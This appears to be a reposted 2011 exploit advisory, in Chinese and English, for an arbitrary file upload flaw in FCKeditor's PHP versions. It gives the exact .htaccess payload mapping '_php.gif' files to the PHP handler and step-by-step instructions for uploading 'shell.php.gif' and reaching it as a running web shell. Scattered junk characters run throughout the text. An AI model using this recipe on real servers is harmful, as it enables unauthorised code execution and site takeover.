FCKeditor所有php版本Upload上传漏洞

admin

FCKeditor所有php版本Upload上传漏洞 - n4 A8 o' k: g8 h( J4 A作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 减小字体 增大字体 9 u6 }/ }- r7 N[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability * K. }" K2 d: {+ D. Q: F[+] Date: 2011 [+] Author : sinesafe.cn [+] Website : WwW.sinesafe.cn # R& h+ D3 n* B8 L! q2 ]——————————————————— 7 z  D% w/ @7 m. v1.create a htaccess file: 1 k2 f+ ~3 q  e4 T! B. wcode: ' v+ U8 Y+ K1 M$ j: V# S; u2 m( @<FilesMatch “_php.gif”> SetHandler application/x-httpd-php </FilesMatch> $ ?& P8 ~% c( y# V. k* ^$ \0 |; H( L  d! ]2.Now upload this htaccess with FCKeditor. ' S+ A8 r: Y* o  ?+ Q+ W/ I2 }5 \ 2 b; v/ S2 w. J7 Q* S( ]http://www.sinesafe.cn/FCKeditor ... er/upload/test.html 3 B/ G# a3 d" ]' R5 C% g" ehttp://www.sinesafe.cn/FCKeditor ... onnectors/test.html : F; D  [$ ]8 N0 k$ T  h. N3 w———————————————————————————————- 3.Now upload shell.php.gif with FCKeditor. 2 M6 b: p; l) D" Q4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. 1 b& P, F: v/ ~4 v- b5.http://www.sinesafe.cn/anything/shell_php.gif % {) ?+ k; m- }6.Now shell is available from server.